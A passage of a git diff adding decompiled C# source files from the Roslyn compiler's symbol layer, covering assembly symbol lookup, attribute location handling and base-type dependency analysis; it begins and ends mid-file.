AssemblySymbol _corLibrary; + + private static readonly char[] s_nestedTypeNameSeparators = new char[1] { '+' }; + + internal AssemblySymbol CorLibrary => _corLibrary; + + internal abstract TypeConversions TypeConversions { get; } + + public override string Name => Identity.Name; + + public abstract AssemblyIdentity Identity { get; } + + AssemblyIdentity IAssemblySymbolInternal.Identity => Identity; + + IAssemblySymbolInternal IAssemblySymbolInternal.CorLibrary => (IAssemblySymbolInternal)(object)CorLibrary; + + public abstract Version AssemblyVersionPattern { get; } + + internal Machine Machine => Modules[0].Machine; + + internal bool Bit32Required => Modules[0].Bit32Required; + + public abstract NamespaceSymbol GlobalNamespace { get; } + + public abstract ImmutableArray Modules { get; } + + public sealed override SymbolKind Kind => (SymbolKind)2; + + public sealed override AssemblySymbol ContainingAssembly => null; + + internal abstract bool IsMissing { get; } + + public sealed override Accessibility DeclaredAccessibility => (Accessibility)0; + + public sealed override bool IsStatic => false; + + public sealed override bool IsVirtual => false; + + public sealed override bool IsOverride => false; + + public sealed override bool IsAbstract => false; + + public sealed override bool IsSealed => false; + + public sealed override bool IsExtern => false; + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public virtual bool IsInteractive => false; + + public sealed override Symbol ContainingSymbol => null; + + internal virtual bool KeepLookingForDeclaredSpecialTypes + { + get + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AssemblySymbol.cs", 395); + } + } + + internal bool RuntimeSupportsDefaultInterfaceImplementation => RuntimeSupportsFeature((SpecialMember)120); + + internal bool RuntimeSupportsStaticAbstractMembersInInterfaces => RuntimeSupportsFeature((SpecialMember)123); + + internal bool RuntimeSupportsNumericIntPtr + { + get + { + if ((object)CorLibrary != null) + { + return RuntimeSupportsFeature((SpecialMember)124); + } + return false; + } + } + + internal bool RuntimeSupportsInlineArrayTypes => (object)GetSpecialTypeMember((SpecialMember)127) != null; + + internal bool RuntimeSupportsUnmanagedSignatureCallingConvention => RuntimeSupportsFeature((SpecialMember)121); + + internal bool RuntimeSupportsByRefFields => RuntimeSupportsFeature((SpecialMember)125); + + internal bool RuntimeSupportsCovariantReturnsOfClasses + { + get + { + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + if (RuntimeSupportsFeature((SpecialMember)122)) + { + NamedTypeSymbol specialType = GetSpecialType((SpecialType)45); + if ((object)specialType != null) + { + return (int)specialType.TypeKind == 2; + } + return false; + } + return false; + } + } + + internal abstract bool IsLinked { get; } + + public abstract ICollection TypeNames { get; } + + public abstract ICollection NamespaceNames { get; } + + public abstract bool MightContainExtensionMethods { get; } + + internal static TypeSymbol DynamicType => DynamicTypeSymbol.Instance; + + internal NamedTypeSymbol ObjectType => GetSpecialType((SpecialType)1); + + internal abstract ImmutableArray PublicKey { get; } + + internal void SetCorLibrary(AssemblySymbol corLibrary) + { + _corLibrary = corLibrary; + } + + internal NamespaceSymbol GetAssemblyNamespace(NamespaceSymbol namespaceSymbol) + { + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Invalid comparison between Unknown and I4 + if (namespaceSymbol.IsGlobalNamespace) + { + return GlobalNamespace; + } + NamespaceSymbol containingNamespace = namespaceSymbol.ContainingNamespace; + if ((object)containingNamespace == null) + { + return GlobalNamespace; + } + if ((int)namespaceSymbol.NamespaceKind == 2 && namespaceSymbol.ContainingAssembly == this) + { + return namespaceSymbol; + } + NamespaceSymbol assemblyNamespace = GetAssemblyNamespace(containingNamespace); + if ((object)assemblyNamespace == containingNamespace) + { + return namespaceSymbol; + } + return assemblyNamespace?.GetNestedNamespace(namespaceSymbol.Name); + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitAssembly(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitAssembly(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitAssembly(this); + } + + internal AssemblySymbol() + { + } + + internal abstract NamedTypeSymbol? LookupDeclaredTopLevelMetadataType(ref MetadataTypeName emittedName); + + internal abstract NamedTypeSymbol LookupDeclaredOrForwardedTopLevelMetadataType(ref MetadataTypeName emittedName, ConsList? visitedAssemblies); + + public NamedTypeSymbol? ResolveForwardedType(string fullyQualifiedMetadataName) + { + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + if (fullyQualifiedMetadataName == null) + { + throw new ArgumentNullException("fullyQualifiedMetadataName"); + } + MetadataTypeName emittedName = MetadataTypeName.FromFullName(fullyQualifiedMetadataName, false, -1); + return TryLookupForwardedMetadataTypeWithCycleDetection(ref emittedName, null); + } + + internal virtual NamedTypeSymbol? TryLookupForwardedMetadataTypeWithCycleDetection(ref MetadataTypeName emittedName, ConsList? visitedAssemblies) + { + return null; + } + + internal ErrorTypeSymbol CreateCycleInTypeForwarderErrorTypeSymbol(ref MetadataTypeName emittedName) + { + DiagnosticInfo errorInfo = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_CycleInTypeForwarder, ((MetadataTypeName)(ref emittedName)).FullName, Name); + return new MissingMetadataTypeSymbol.TopLevel(Modules[0], ref emittedName, errorInfo); + } + + internal ErrorTypeSymbol CreateMultipleForwardingErrorTypeSymbol(ref MetadataTypeName emittedName, ModuleSymbol forwardingModule, AssemblySymbol destination1, AssemblySymbol destination2) + { + CSDiagnosticInfo errorInfo = new CSDiagnosticInfo(ErrorCode.ERR_TypeForwardedToMultipleAssemblies, forwardingModule, this, ((MetadataTypeName)(ref emittedName)).FullName, destination1, destination2); + return new MissingMetadataTypeSymbol.TopLevel(forwardingModule, ref emittedName, (DiagnosticInfo?)(object)errorInfo); + } + + internal abstract IEnumerable GetAllTopLevelForwardedTypes(); + + internal abstract NamedTypeSymbol GetDeclaredSpecialType(SpecialType type); + + internal virtual void RegisterDeclaredSpecialType(NamedTypeSymbol corType) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AssemblySymbol.cs", 384); + } + + internal virtual NamedTypeSymbol GetNativeIntegerType(NamedTypeSymbol underlyingType) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/AssemblySymbol.cs", 404); + } + + public bool SupportsRuntimeCapability(RuntimeCapability capability) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Expected I4, but got Unknown + return (capability - 1) switch + { + 0 => RuntimeSupportsByRefFields, + 1 => RuntimeSupportsCovariantReturnsOfClasses, + 2 => RuntimeSupportsDefaultInterfaceImplementation, + 3 => RuntimeSupportsNumericIntPtr, + 4 => RuntimeSupportsUnmanagedSignatureCallingConvention, + 5 => RuntimeSupportsStaticAbstractMembersInInterfaces, + 6 => RuntimeSupportsInlineArrayTypes, + _ => false, + }; + } + + protected bool RuntimeSupportsFeature(SpecialMember feature) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol specialType = GetSpecialType((SpecialType)44); + if ((object)specialType != null && (int)specialType.TypeKind == 2 && specialType.IsStatic) + { + return (object)GetSpecialTypeMember(feature) != null; + } + return false; + } + + internal abstract ImmutableArray GetNoPiaResolutionAssemblies(); + + internal abstract void SetNoPiaResolutionAssemblies(ImmutableArray assemblies); + + internal abstract ImmutableArray GetLinkedReferencedAssemblies(); + + internal abstract void SetLinkedReferencedAssemblies(ImmutableArray assemblies); + + IEnumerable> IAssemblySymbolInternal.GetInternalsVisibleToPublicKeys(string simpleName) + { + return GetInternalsVisibleToPublicKeys(simpleName); + } + + internal abstract IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName); + + IEnumerable IAssemblySymbolInternal.GetInternalsVisibleToAssemblyNames() + { + return GetInternalsVisibleToAssemblyNames(); + } + + internal abstract IEnumerable GetInternalsVisibleToAssemblyNames(); + + bool IAssemblySymbolInternal.AreInternalsVisibleToThisAssembly(IAssemblySymbolInternal otherAssembly) + { + return AreInternalsVisibleToThisAssembly((AssemblySymbol)(object)otherAssembly); + } + + internal abstract bool AreInternalsVisibleToThisAssembly(AssemblySymbol other); + + internal virtual bool GetGuidString(out string guidString) + { + return GetGuidStringDefaultImplementation(out guidString); + } + + internal NamedTypeSymbol GetSpecialType(SpecialType type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return CorLibrary.GetDeclaredSpecialType(type); + } + + internal NamedTypeSymbol GetPrimitiveType(PrimitiveTypeCode type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return GetSpecialType(SpecialTypes.GetTypeFromMetadataName(type)); + } + + public NamedTypeSymbol? GetTypeByMetadataName(string fullyQualifiedMetadataName) + { + if (fullyQualifiedMetadataName == null) + { + throw new ArgumentNullException("fullyQualifiedMetadataName"); + } + (AssemblySymbol, AssemblySymbol) conflicts; + return GetTypeByMetadataName(fullyQualifiedMetadataName, includeReferences: false, isWellKnownType: false, out conflicts); + } + + internal NamedTypeSymbol? GetTypeByMetadataName(string metadataName, bool includeReferences, bool isWellKnownType, out (AssemblySymbol, AssemblySymbol) conflicts, bool useCLSCompliantNameArityEncoding = false, DiagnosticBag? warnings = null, bool ignoreCorLibraryDuplicatedTypes = false) + { + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol namedTypeSymbol; + if (metadataName.IndexOf('+') >= 0) + { + string[] array = metadataName.Split(s_nestedTypeNameSeparators); + MetadataTypeName metadataName2 = MetadataTypeName.FromFullName(array[0], useCLSCompliantNameArityEncoding, -1); + namedTypeSymbol = GetTopLevelTypeByMetadataName(ref metadataName2, null, includeReferences, isWellKnownType, out conflicts, warnings, ignoreCorLibraryDuplicatedTypes); + if ((object)namedTypeSymbol == null) + { + return null; + } + for (int i = 1; i < array.Length; i++) + { + metadataName2 = MetadataTypeName.FromTypeName(array[i], false, -1); + namedTypeSymbol = namedTypeSymbol.LookupMetadataType(ref metadataName2); + if ((object)namedTypeSymbol == null) + { + return null; + } + if (isWellKnownType && !IsValidWellKnownType(namedTypeSymbol)) + { + return null; + } + } + } + else + { + MetadataTypeName metadataName2 = MetadataTypeName.FromFullName(metadataName, useCLSCompliantNameArityEncoding, -1); + namedTypeSymbol = GetTopLevelTypeByMetadataName(ref metadataName2, null, includeReferences, isWellKnownType, out conflicts, warnings, ignoreCorLibraryDuplicatedTypes); + } + return namedTypeSymbol; + } + + internal TypeSymbol? GetTypeByReflectionType(Type type) + { + //IL_01a3: Unknown result type (might be due to invalid IL or missing references) + //IL_01a8: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_013d: Unknown result type (might be due to invalid IL or missing references) + TypeInfo typeInfo = type.GetTypeInfo(); + if (typeInfo.IsArray) + { + TypeSymbol typeByReflectionType = GetTypeByReflectionType(typeInfo.GetElementType()); + if ((object)typeByReflectionType == null) + { + return null; + } + int arrayRank = typeInfo.GetArrayRank(); + return ArrayTypeSymbol.CreateCSharpArray(this, TypeWithAnnotations.Create(typeByReflectionType), arrayRank); + } + if (typeInfo.IsPointer) + { + TypeSymbol typeByReflectionType2 = GetTypeByReflectionType(typeInfo.GetElementType()); + if ((object)typeByReflectionType2 == null) + { + return null; + } + return new PointerTypeSymbol(TypeWithAnnotations.Create(typeByReflectionType2)); + } + if (typeInfo.DeclaringType != null) + { + Type[] genericTypeArguments = typeInfo.GenericTypeArguments; + int currentTypeArgument = 0; + TypeInfo typeInfo2 = (typeInfo.IsGenericType ? typeInfo.GetGenericTypeDefinition().GetTypeInfo() : typeInfo); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + while (true) + { + instance.Add(typeInfo2); + if (typeInfo2.DeclaringType == null) + { + break; + } + typeInfo2 = typeInfo2.DeclaringType.GetTypeInfo(); + } + int num = instance.Count - 1; + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)GetTypeByReflectionType(instance[num].AsType()); + if ((object)namedTypeSymbol == null) + { + return null; + } + while (--num >= 0) + { + int num2 = instance[num].GenericTypeParameters.Length - instance[num + 1].GenericTypeParameters.Length; + MetadataTypeName emittedTypeName = MetadataTypeName.FromTypeName(instance[num].Name, false, num2); + namedTypeSymbol = namedTypeSymbol.LookupMetadataType(ref emittedTypeName); + if ((object)namedTypeSymbol == null) + { + return null; + } + namedTypeSymbol = ApplyGenericArguments(namedTypeSymbol, genericTypeArguments, ref currentTypeArgument); + if ((object)namedTypeSymbol == null) + { + return null; + } + } + instance.Free(); + return namedTypeSymbol; + } + AssemblyIdentity assemblyOpt = AssemblyIdentity.FromAssemblyDefinition(typeInfo.Assembly); + MetadataTypeName metadataName = MetadataTypeName.FromNamespaceAndTypeName(typeInfo.Namespace ?? string.Empty, typeInfo.Name, false, typeInfo.GenericTypeArguments.Length); + (AssemblySymbol, AssemblySymbol) conflicts; + NamedTypeSymbol topLevelTypeByMetadataName = GetTopLevelTypeByMetadataName(ref metadataName, assemblyOpt, includeReferences: true, isWellKnownType: false, out conflicts); + if ((object)topLevelTypeByMetadataName == null) + { + return null; + } + int currentTypeArgument2 = 0; + Type[] genericTypeArguments2 = typeInfo.GenericTypeArguments; + return ApplyGenericArguments(topLevelTypeByMetadataName, genericTypeArguments2, ref currentTypeArgument2); + } + + private NamedTypeSymbol? ApplyGenericArguments(NamedTypeSymbol symbol, Type[] typeArguments, ref int currentTypeArgument) + { + if (typeArguments.Length - currentTypeArgument == 0) + { + return symbol; + } + int length = symbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + for (int i = 0; i < length; i++) + { + TypeSymbol typeByReflectionType = GetTypeByReflectionType(typeArguments[currentTypeArgument++]); + if ((object)typeByReflectionType == null) + { + return null; + } + instance.Add(TypeWithAnnotations.Create(typeByReflectionType)); + } + return symbol.ConstructIfGeneric(instance.ToImmutableAndFree()); + } + + internal NamedTypeSymbol? GetTopLevelTypeByMetadataName(ref MetadataTypeName metadataName, AssemblyIdentity? assemblyOpt, bool includeReferences, bool isWellKnownType, out (AssemblySymbol, AssemblySymbol) conflicts, DiagnosticBag? warnings = null, bool ignoreCorLibraryDuplicatedTypes = false) + { + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + conflicts = default((AssemblySymbol, AssemblySymbol)); + NamedTypeSymbol namedTypeSymbol = GetTopLevelTypeByMetadataName(this, ref metadataName, assemblyOpt); + if (isWellKnownType && !IsValidWellKnownType(namedTypeSymbol)) + { + namedTypeSymbol = null; + } + if ((object)namedTypeSymbol != null || !includeReferences) + { + return namedTypeSymbol; + } + bool flag = isWellKnownType && warnings != null; + bool flag2 = false; + if ((object)CorLibrary != this && !CorLibrary.IsMissing && !flag && !ignoreCorLibraryDuplicatedTypes) + { + NamedTypeSymbol topLevelTypeByMetadataName = GetTopLevelTypeByMetadataName(CorLibrary, ref metadataName, assemblyOpt); + flag2 = true; + if (isValidCandidate(topLevelTypeByMetadataName, isWellKnownType)) + { + return topLevelTypeByMetadataName; + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + if (assemblyOpt != (AssemblyIdentity)null) + { + instance.AddRange(((CommonReferenceManager)(object)DeclaringCompilation.GetBoundReferenceManager()).ReferencedAssemblies); + } + else + { + DeclaringCompilation.GetUnaliasedReferencedAssemblies(instance); + } + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + AssemblySymbol current = enumerator.Current; + if (flag2 && (object)current == CorLibrary) + { + continue; + } + NamedTypeSymbol topLevelTypeByMetadataName2 = GetTopLevelTypeByMetadataName(current, ref metadataName, assemblyOpt); + if (!isValidCandidate(topLevelTypeByMetadataName2, isWellKnownType)) + { + continue; + } + if ((object)namedTypeSymbol != null) + { + if (ignoreCorLibraryDuplicatedTypes) + { + if (IsInCorLib(topLevelTypeByMetadataName2)) + { + continue; + } + if (IsInCorLib(namedTypeSymbol)) + { + namedTypeSymbol = topLevelTypeByMetadataName2; + continue; + } + } + if (warnings == null) + { + conflicts = (namedTypeSymbol.ContainingAssembly, topLevelTypeByMetadataName2.ContainingAssembly); + namedTypeSymbol = null; + } + else + { + warnings.Add(ErrorCode.WRN_MultiplePredefTypes, NoLocation.Singleton, namedTypeSymbol, namedTypeSymbol.ContainingAssembly); + } + break; + } + namedTypeSymbol = topLevelTypeByMetadataName2; + } + instance.Free(); + return namedTypeSymbol; + bool isValidCandidate([NotNullWhen(true)] NamedTypeSymbol? candidate, bool flag3) + { + if ((object)candidate != null && (!flag3 || IsValidWellKnownType(candidate))) + { + return !candidate.IsHiddenByCodeAnalysisEmbeddedAttribute(); + } + return false; + } + } + + private bool IsInCorLib(NamedTypeSymbol type) + { + return (object)type.ContainingAssembly == CorLibrary; + } + + private bool IsValidWellKnownType(NamedTypeSymbol? result) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + if ((object)result == null || (int)result.TypeKind == 6) + { + return false; + } + if ((int)result.DeclaredAccessibility != 6) + { + return Symbol.IsSymbolAccessible(result, this); + } + return true; + } + + private static NamedTypeSymbol? GetTopLevelTypeByMetadataName(AssemblySymbol assembly, ref MetadataTypeName metadataName, AssemblyIdentity? assemblyOpt) + { + if (assemblyOpt != (AssemblyIdentity)null && !assemblyOpt.Equals(assembly.Identity)) + { + return null; + } + return assembly.LookupDeclaredTopLevelMetadataType(ref metadataName); + } + + internal virtual Symbol GetDeclaredSpecialTypeMember(SpecialMember member) + { + return null; + } + + internal virtual Symbol GetSpecialTypeMember(SpecialMember member) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return CorLibrary.GetDeclaredSpecialTypeMember(member); + } + + public abstract AssemblyMetadata GetMetadata(); + + protected override ISymbol CreateISymbol() + { + return (ISymbol)(object)new NonSourceAssemblySymbol(this); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeDataExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeDataExtensions.cs new file mode 100644 index 0000000..e964ef7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeDataExtensions.cs @@ -0,0 +1,51 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Syntax; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class AttributeDataExtensions +{ + internal static int IndexOfAttribute(this ImmutableArray attributes, Symbol targetSymbol, AttributeDescription description) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + for (int i = 0; i < attributes.Length; i++) + { + if (attributes[i].IsTargetAttribute(targetSymbol, description)) + { + return i; + } + } + return -1; + } + + internal static CSharpSyntaxNode GetAttributeArgumentSyntax(this AttributeData attribute, int parameterIndex, AttributeSyntax attributeSyntax) + { + return ((SourceAttributeData)(object)attribute).GetAttributeArgumentSyntax(parameterIndex, attributeSyntax); + } + + internal static string? DecodeNotNullIfNotNullAttribute(this CSharpAttributeData attribute) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray commonConstructorArguments = ((AttributeData)attribute).CommonConstructorArguments; + if (commonConstructorArguments.Length == 1) + { + TypedConstant val = commonConstructorArguments[0]; + string result = default(string); + if (((TypedConstant)(ref val)).TryDecodeValue((SpecialType)20, ref result)) + { + return result; + } + } + return null; + } + + internal static Location GetAttributeArgumentSyntaxLocation(this AttributeData attribute, int parameterIndex, AttributeSyntax? attributeSyntaxOpt) + { + if (attributeSyntaxOpt == null) + { + return NoLocation.Singleton; + } + return ((SyntaxNode)((SourceAttributeData)(object)attribute).GetAttributeArgumentSyntax(parameterIndex, attributeSyntaxOpt)).Location; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeLocation.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeLocation.cs new file mode 100644 index 0000000..e52c991 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeLocation.cs @@ -0,0 +1,20 @@ +using System; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +[Flags] +internal enum AttributeLocation : short +{ + None = 0, + Assembly = 1, + Module = 2, + Type = 4, + Method = 8, + Field = 0x10, + Property = 0x20, + Event = 0x40, + Parameter = 0x80, + Return = 0x100, + TypeParameter = 0x200, + Unknown = 0x400 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeLocationExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeLocationExtensions.cs new file mode 100644 index 0000000..7aa5fc1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/AttributeLocationExtensions.cs @@ -0,0 +1,87 @@ +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class AttributeLocationExtensions +{ + internal static string ToDisplayString(this AttributeLocation locations) + { + StringBuilder stringBuilder = new StringBuilder(); + for (int num = 1; num < 1024; num <<= 1) + { + if (((uint)locations & (uint)(short)num) != 0) + { + if (stringBuilder.Length > 0) + { + stringBuilder.Append(", "); + } + switch ((AttributeLocation)(short)num) + { + case AttributeLocation.Assembly: + stringBuilder.Append("assembly"); + break; + case AttributeLocation.Module: + stringBuilder.Append("module"); + break; + case AttributeLocation.Type: + stringBuilder.Append("type"); + break; + case AttributeLocation.Method: + stringBuilder.Append("method"); + break; + case AttributeLocation.Field: + stringBuilder.Append("field"); + break; + case AttributeLocation.Property: + stringBuilder.Append("property"); + break; + case AttributeLocation.Event: + stringBuilder.Append("event"); + break; + case AttributeLocation.Return: + stringBuilder.Append("return"); + break; + case AttributeLocation.Parameter: + stringBuilder.Append("param"); + break; + case AttributeLocation.TypeParameter: + stringBuilder.Append("typevar"); + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)num); + } + } + } + return stringBuilder.ToString(); + } + + internal static AttributeLocation ToAttributeLocation(this SyntaxToken token) + { + return ToAttributeLocation(((SyntaxToken)(ref token)).ValueText); + } + + internal static AttributeLocation ToAttributeLocation(this SyntaxToken token) + { + return ToAttributeLocation(token.ValueText); + } + + private static AttributeLocation ToAttributeLocation(string text) + { + return text switch + { + "assembly" => AttributeLocation.Assembly, + "module" => AttributeLocation.Module, + "type" => AttributeLocation.Type, + "return" => AttributeLocation.Return, + "method" => AttributeLocation.Method, + "field" => AttributeLocation.Field, + "event" => AttributeLocation.Event, + "param" => AttributeLocation.Parameter, + "property" => AttributeLocation.Property, + "typevar" => AttributeLocation.TypeParameter, + _ => AttributeLocation.None, + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/BaseTypeAnalysis.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/BaseTypeAnalysis.cs new file mode 100644 index 0000000..27e088a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/BaseTypeAnalysis.cs @@ -0,0 +1,259 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class BaseTypeAnalysis +{ + internal static bool TypeDependsOn(NamedTypeSymbol depends, NamedTypeSymbol on) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + TypeDependsClosure(depends, depends.DeclaringCompilation, (HashSet)(object)instance); + bool result = ((HashSet)(object)instance).Contains((Symbol)on); + instance.Free(); + return result; + } + + private static void TypeDependsClosure(NamedTypeSymbol type, CSharpCompilation currentCompilation, HashSet partialClosure) + { + if ((object)type == null) + { + return; + } + type = type.OriginalDefinition; + if (!partialClosure.Add(type)) + { + return; + } + if (type.IsInterface) + { + ImmutableArray.Enumerator enumerator = type.GetDeclaredInterfaces(null).GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeDependsClosure(enumerator.Current, currentCompilation, partialClosure); + } + } + else + { + TypeDependsClosure(type.GetDeclaredBaseType(null), currentCompilation, partialClosure); + } + if (currentCompilation != null && type.IsFromCompilation(currentCompilation)) + { + TypeDependsClosure(type.ContainingType, currentCompilation, partialClosure); + } + } + + internal static bool StructDependsOn(NamedTypeSymbol depends, NamedTypeSymbol on) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + StructDependsClosure(depends, (HashSet)(object)instance, on); + bool result = ((HashSet)(object)instance).Contains((Symbol)on); + instance.Free(); + return result; + } + + private static void StructDependsClosure(NamedTypeSymbol type, HashSet partialClosure, NamedTypeSymbol on) + { + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Invalid comparison between Unknown and I4 + if ((object)type.OriginalDefinition == on) + { + partialClosure.Add(on); + } + else + { + if (!partialClosure.Add(type)) + { + return; + } + ImmutableArray.Enumerator enumerator = type.GetMembersUnordered().GetEnumerator(); + while (enumerator.MoveNext()) + { + FieldSymbol fieldSymbol = enumerator.Current as FieldSymbol; + TypeSymbol typeSymbol = fieldSymbol?.NonPointerType(); + if ((object)typeSymbol != null && (int)typeSymbol.TypeKind == 10 && !fieldSymbol.IsStatic) + { + StructDependsClosure((NamedTypeSymbol)typeSymbol, partialClosure, on); + } + } + } + } + + internal static ManagedKind GetManagedKind(NamedTypeSymbol type, ref CompoundUseSiteInfo useSiteInfo) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + (ThreeState isManaged, bool hasGenerics) tuple = IsManagedTypeHelper(type); + ThreeState item = tuple.isManaged; + bool flag = tuple.hasGenerics; + bool flag2 = (int)item == 2; + if ((int)item == 0) + { + PooledHashSet instance = PooledHashSet.GetInstance(); + (bool, bool) tuple2 = dependsOnDefinitelyManagedType(type, (HashSet)(object)instance, ref useSiteInfo); + flag2 = tuple2.Item1; + flag = flag || tuple2.Item2; + instance.Free(); + } + if (!flag2) + { + if (!flag) + { + return (ManagedKind)1; + } + return (ManagedKind)2; + } + return (ManagedKind)3; + static (bool definitelyManaged, bool hasGenerics) dependsOnDefinitelyManagedType(NamedTypeSymbol namedTypeSymbol, HashSet partialClosure, ref CompoundUseSiteInfo useSiteInfo2) + { + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Invalid comparison between Unknown and I4 + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_00ef: Expected I4, but got Unknown + bool flag3 = false; + if (partialClosure.Add(namedTypeSymbol)) + { + foreach (Symbol instanceFieldsAndEvent in namedTypeSymbol.GetInstanceFieldsAndEvents()) + { + SymbolKind kind = instanceFieldsAndEvent.Kind; + FieldSymbol fieldSymbol; + if ((int)kind != 5) + { + if ((int)kind != 6) + { + throw ExceptionUtilities.UnexpectedValue((object)instanceFieldsAndEvent.Kind); + } + fieldSymbol = (FieldSymbol)instanceFieldsAndEvent; + } + else + { + fieldSymbol = ((EventSymbol)instanceFieldsAndEvent).AssociatedField; + } + if ((object)fieldSymbol != null) + { + if ((int)fieldSymbol.RefKind != 0) + { + return (definitelyManaged: true, hasGenerics: flag3); + } + TypeSymbol typeSymbol = fieldSymbol.NonPointerType(); + if ((object)typeSymbol != null) + { + typeSymbol.AddUseSiteInfo(ref useSiteInfo2); + if (!(typeSymbol is NamedTypeSymbol namedTypeSymbol2)) + { + if (typeSymbol.IsManagedType(ref useSiteInfo2)) + { + return (definitelyManaged: true, hasGenerics: flag3); + } + } + else + { + (ThreeState, bool) tuple3 = IsManagedTypeHelper(namedTypeSymbol2); + flag3 = flag3 || tuple3.Item2; + var (val, _) = tuple3; + switch ((int)val) + { + case 2: + return (definitelyManaged: true, hasGenerics: flag3); + case 0: + if (!namedTypeSymbol2.OriginalDefinition.KnownCircularStruct) + { + (bool definitelyManaged, bool hasGenerics) tuple5 = dependsOnDefinitelyManagedType(namedTypeSymbol2, partialClosure, ref useSiteInfo2); + bool item2 = 